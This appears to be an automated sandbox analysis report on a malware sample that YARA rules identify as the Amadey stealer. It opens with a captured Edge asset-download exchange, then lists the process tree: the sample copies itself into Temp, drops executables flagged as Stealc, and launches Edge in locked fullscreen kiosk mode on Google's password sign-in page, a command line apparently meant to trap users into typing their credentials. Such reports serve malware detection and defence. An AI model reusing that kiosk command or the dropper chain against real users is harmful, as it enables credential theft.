2024-09-01 00:51:22 UTC	470	OUT	GET /assets/addressbar_uu_files.en-gb/1.0.2/asset?assetgroup=AddressBar HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: AddressBar Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 00:51:23 UTC	533	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 00:51:22 GMT Content-Type: application/octet-stream Content-Length: 403024 Connection: close Last-Modified: Thu, 19 Oct 2023 17:36:16 GMT ETag: 0x8DBD0C9E5CD1B3B x-ms-request-id: 43adf79c-101e-0051-2509-fc76f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240901T005122Z-16579567576fh7f86y3uqsyhx000000005dg00000000nr1h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-09-01 00:51:23 UTC	15851	IN	Data Raw: 7b 0d 0a 20 20 20 20 22 30 31 32 33 6d 6f 76 69 65 73 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 39 38 33 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 34 39 34 38 2c 20 31 31 30 36 2c 20 39 39 37 32 5d 7d 22 2c 0d 0a 20 20 20 20 22 31 30 32 30 33 39 38 2e 61 70 70 2e 6e 65 74 73 75 69 74 65 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 38 34 30 35 2c 20 35 39 33 38 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 32 32 38 2c 20 32 33 36 5d 7d 22 2c 0d 0a 20 20 20 20 22 31 33 33 37 78 2e 74 6f 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 39 38 33 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 36 36 35 37 2c 20 34 37 35 2c 20 34 30 36 38 5d 7d 22 2c 0d 0a 20 20 20 20 Data Ascii: { "0123movies.com": "{\"Tier1\": [983, 6061], \"Tier2\": [4948, 1106, 9972]}", "1020398.app.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [228, 236]}", "1337x.to": "{\"Tier1\": [6061, 983], \"Tier2\": [6657, 475, 4068]}",
2024-09-01 00:51:23 UTC	16384	IN	Data Raw: 65 72 32 5c 22 3a 20 5b 35 31 30 36 2c 20 35 32 30 33 2c 20 38 34 36 39 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 70 70 2e 63 68 65 63 6b 65 64 73 61 66 65 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 38 34 30 35 2c 20 33 39 37 39 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 35 31 30 36 2c 20 32 31 38 39 2c 20 38 34 36 39 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 70 70 2e 63 6c 65 61 72 73 63 6f 72 65 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 38 34 30 35 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 36 32 31 39 2c 20 38 34 36 39 2c 20 32 37 35 31 2c 20 34 34 35 38 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 70 70 2e 63 6c 69 63 6b 75 70 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 35 Data Ascii: er2\": [5106, 5203, 8469]}", "app.checkedsafe.com": "{\"Tier1\": [6061, 8405, 3979], \"Tier2\": [5106, 2189, 8469]}", "app.clearscore.com": "{\"Tier1\": [8405, 6061], \"Tier2\": [6219, 8469, 2751, 4458]}", "app.clickup.com": "{\"Tier1\": [5
2024-09-01 00:51:23 UTC	16384	IN	Data Raw: 37 2c 20 38 34 36 39 2c 20 38 31 32 39 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 77 73 2e 68 61 74 63 68 6c 69 6e 67 73 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 39 31 33 32 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 35 34 34 34 2c 20 39 32 34 34 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 77 73 30 35 39 2e 68 6f 73 74 63 6f 6d 6d 73 65 72 76 65 72 73 2e 63 6f 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 36 36 36 36 2c 20 34 31 35 39 5d 7d 22 2c 0d 0a 20 20 20 20 22 61 77 73 31 34 37 2e 68 6f 73 74 63 6f 6d 6d 73 65 72 76 65 72 73 2e 63 6f 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 34 Data Ascii: 7, 8469, 8129]}", "aws.hatchlings.com": "{\"Tier1\": [9132, 6061], \"Tier2\": [5444, 9244]}", "aws059.hostcommservers.co.uk": "{\"Tier1\": [6061], \"Tier2\": [6666, 4159]}", "aws147.hostcommservers.co.uk": "{\"Tier1\": [6061], \"Tier2\": [4
2024-09-01 00:51:23 UTC	16384	IN	Data Raw: 20 20 20 20 22 63 61 72 74 2e 65 62 61 79 2e 63 6f 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 37 38 31 38 2c 20 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 37 33 39 39 2c 20 39 34 39 37 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 61 72 74 2e 70 61 79 6d 65 6e 74 73 2e 65 62 61 79 2e 63 6f 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 37 38 31 38 2c 20 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 37 33 39 39 2c 20 39 34 39 37 2c 20 38 33 36 36 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 61 73 65 2e 6f 6d 62 75 64 73 6d 61 6e 2d 73 65 72 76 69 63 65 73 2e 6f 72 67 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 33 39 37 39 2c 20 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 36 38 38 36 2c 20 37 33 35 34 Data Ascii: "cart.ebay.co.uk": "{\"Tier1\": [7818, 8405], \"Tier2\": [7399, 9497]}", "cart.payments.ebay.co.uk": "{\"Tier1\": [7818, 8405], \"Tier2\": [7399, 9497, 8366]}", "case.ombudsman-services.org": "{\"Tier1\": [3979, 8405], \"Tier2\": [6886, 7354
2024-09-01 00:51:23 UTC	16384	IN	Data Raw: 38 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 72 65 65 64 61 69 6c 65 65 6e 62 6f 69 6c 65 72 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 31 31 33 34 2c 20 31 39 31 32 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 72 6a 70 67 61 74 65 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 39 39 33 34 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 72 6d 2e 62 65 72 72 79 73 2e 75 6b 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 5d 7d 22 2c 0d 0a 20 20 20 20 22 63 72 6d 2e 66 6f 6f 64 61 6c 65 72 74 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 32 39 30 33 Data Ascii: 8]}", "creedaileenboiler.com": "{\"Tier1\": [6061], \"Tier2\": [1134, 1912]}", "crjpgate.com": "{\"Tier1\": [6061], \"Tier2\": [9934]}", "crm.berrys.uk.com": "{\"Tier1\": [8405], \"Tier2\": []}", "crm.foodalert.com": "{\"Tier1\": [2903
2024-09-01 00:51:23 UTC	16384	IN	Data Raw: 31 35 32 2c 20 32 33 36 2c 20 34 39 31 35 5d 7d 22 2c 0d 0a 20 20 20 20 22 65 6c 65 61 72 6e 2e 72 75 6e 73 68 61 77 2e 61 63 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 37 36 37 30 2c 20 36 30 36 31 2c 20 38 38 34 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 38 38 31 32 2c 20 31 32 34 30 5d 7d 22 2c 0d 0a 20 20 20 20 22 65 6c 65 61 72 6e 69 6e 67 2e 6e 6f 6f 64 6c 65 6e 6f 77 2e 63 6f 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 37 36 37 30 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 34 32 39 38 2c 20 31 32 34 30 2c 20 37 32 39 33 5d 7d 22 2c 0d 0a 20 20 20 20 22 65 6c 70 2e 6e 6f 72 74 68 75 6d 62 72 69 61 2e 61 63 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 37 36 37 30 2c 20 38 38 34 Data Ascii: 152, 236, 4915]}", "elearn.runshaw.ac.uk": "{\"Tier1\": [7670, 6061, 8845], \"Tier2\": [8812, 1240]}", "elearning.noodlenow.co.uk": "{\"Tier1\": [7670, 6061], \"Tier2\": [4298, 1240, 7293]}", "elp.northumbria.ac.uk": "{\"Tier1\": [7670, 884
2024-09-01 00:51:23 UTC	16384	IN	Data Raw: 6e 65 74 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 38 35 37 35 2c 20 33 39 35 32 5d 7d 22 2c 0d 0a 20 20 20 20 22 67 61 6c 6c 65 72 69 65 73 2e 70 61 72 65 6e 74 73 64 6f 6d 65 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 37 38 36 5d 7d 22 2c 0d 0a 20 20 20 20 22 67 61 6d 65 2e 67 72 61 6e 62 6c 75 65 66 61 6e 74 61 73 79 2e 6a 70 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 38 37 34 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 32 35 36 2c 20 36 39 31 36 2c 20 37 32 31 39 2c 20 31 30 30 30 32 2c 20 37 31 33 33 5d 7d 22 2c 0d 0a 20 20 20 20 22 67 61 6d 65 62 61 6e 61 6e 61 2e 63 6f 6d 22 3a 20 22 7b 5c Data Ascii: net": "{\"Tier1\": [6061, 8405], \"Tier2\": [8575, 3952]}", "galleries.parentsdome.com": "{\"Tier1\": [], \"Tier2\": [786]}", "game.granbluefantasy.jp": "{\"Tier1\": [8741], \"Tier2\": [256, 6916, 7219, 10002, 7133]}", "gamebanana.com": "{\
2024-09-01 00:51:23 UTC	16384	IN	Data Raw: 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 39 36 30 5d 7d 22 2c 0d 0a 20 20 20 20 22 69 63 74 70 6f 72 74 61 6c 2e 63 79 6d 72 75 2e 6e 68 73 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 31 34 38 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 5d 7d 22 2c 0d 0a 20 20 20 20 22 69 64 2e 61 74 6c 61 73 73 69 61 6e 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 35 39 33 38 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 35 31 33 36 2c 20 31 34 36 36 2c 20 32 33 36 2c 20 38 36 32 33 2c 20 34 34 32 36 2c 20 32 32 33 37 5d 7d 22 2c 0d 0a 20 20 20 20 22 69 64 2e 61 75 74 6f 65 6e 72 6f 6c 6d 65 6e 74 2e 63 6f 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 5d 2c 20 5c 22 54 69 Data Ascii: ], \"Tier2\": [960]}", "ictportal.cymru.nhs.uk": "{\"Tier1\": [148, 6061], \"Tier2\": []}", "id.atlassian.com": "{\"Tier1\": [6061, 5938], \"Tier2\": [5136, 1466, 236, 8623, 4426, 2237]}", "id.autoenrolment.co.uk": "{\"Tier1\": [6061], \"Ti
2024-09-01 00:51:23 UTC	16384	IN	Data Raw: 20 5b 37 38 33 38 5d 7d 22 2c 0d 0a 20 20 20 20 22 6c 65 65 64 73 2e 63 64 70 73 6f 66 74 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 38 34 30 35 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 34 35 36 38 2c 20 35 39 32 2c 20 31 31 32 39 5d 7d 22 2c 0d 0a 20 20 20 20 22 6c 65 74 75 73 6b 6e 6f 77 2e 66 6f 63 75 73 76 69 73 69 6f 6e 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 36 31 30 31 2c 20 36 35 34 37 5d 7d 22 2c 0d 0a 20 20 20 20 22 6c 65 78 2e 32 62 65 64 66 6f 72 64 72 6f 77 2e 63 6f 2e 75 6b 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 33 39 37 39 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 34 35 39 34 2c 20 39 38 34 34 5d 7d 22 2c 0d 0a 20 20 Data Ascii: [7838]}", "leeds.cdpsoft.com": "{\"Tier1\": [8405, 6061], \"Tier2\": [4568, 592, 1129]}", "letusknow.focusvision.com": "{\"Tier1\": [], \"Tier2\": [6101, 6547]}", "lex.2bedfordrow.co.uk": "{\"Tier1\": [3979], \"Tier2\": [4594, 9844]}",
2024-09-01 00:51:23 UTC	16384	IN	Data Raw: 3a 20 5b 37 36 37 30 2c 20 35 39 33 38 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 38 39 39 38 2c 20 37 35 38 33 5d 7d 22 2c 0d 0a 20 20 20 20 22 6d 65 2e 73 75 6d 75 70 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 36 30 36 31 2c 20 38 34 30 35 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 33 32 37 31 2c 20 33 33 38 37 5d 7d 22 2c 0d 0a 20 20 20 20 22 6d 65 64 2e 65 74 6f 72 6f 2e 63 6f 6d 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 38 34 30 35 2c 20 36 30 36 31 5d 2c 20 5c 22 54 69 65 72 32 5c 22 3a 20 5b 33 39 32 37 2c 20 38 39 34 33 2c 20 37 39 39 2c 20 36 32 31 39 2c 20 32 38 36 33 5d 7d 22 2c 0d 0a 20 20 20 20 22 6d 65 64 61 6c 2e 74 76 22 3a 20 22 7b 5c 22 54 69 65 72 31 5c 22 3a 20 5b 38 37 34 31 2c 20 39 38 33 2c 20 35 39 Data Ascii: : [7670, 5938], \"Tier2\": [8998, 7583]}", "me.sumup.com": "{\"Tier1\": [6061, 8405], \"Tier2\": [3271, 3387]}", "med.etoro.com": "{\"Tier1\": [8405, 6061], \"Tier2\": [3927, 8943, 799, 6219, 2863]}", "medal.tv": "{\"Tier1\": [8741, 983, 59

Target ID:	0
Start time:	20:47:53
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x100000
File size:	1'925'120 bytes
MD5 hash:	98BA9C78DEC3F0C8100BF1ED10395D72
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1673804674.0000000000101000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1633377519.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:47:55
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Imagebase:	0x900000
File size:	1'925'120 bytes
MD5 hash:	98BA9C78DEC3F0C8100BF1ED10395D72
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1652641767.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1693678677.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:48:00
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0x900000
File size:	1'925'120 bytes
MD5 hash:	98BA9C78DEC3F0C8100BF1ED10395D72
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1702396750.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	20:48:05
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe"
Imagebase:	0xc60000
File size:	1'790'976 bytes
MD5 hash:	4847D6885ADC7EA78FDF9918C384CECB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1801528450.000000000161E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:48:07
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe"
Imagebase:	0x600000
File size:	1'790'976 bytes
MD5 hash:	4847D6885ADC7EA78FDF9918C384CECB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1923054820.000000000113E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:48:11
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe"
Imagebase:	0xae0000
File size:	917'504 bytes
MD5 hash:	DC07DF13058EC69D92FADD3FB1CFF581
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	20:48:11
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:48:12
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2016,i,16176918105418221585,11467192420078464089,262144 --disable-features=TranslateUI /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:48:12
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:48:13
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2548 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	20:48:18
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7820 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:48:18
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7756 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:48:18
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6428 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8
Imagebase:	0x7ff71c710000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:48:18
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6428 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8
Imagebase:	0x7ff71c710000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:48:29
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	20:48:29
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	20:48:30
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4436 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	20:48:31
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8
Imagebase:	0x7ff71c710000
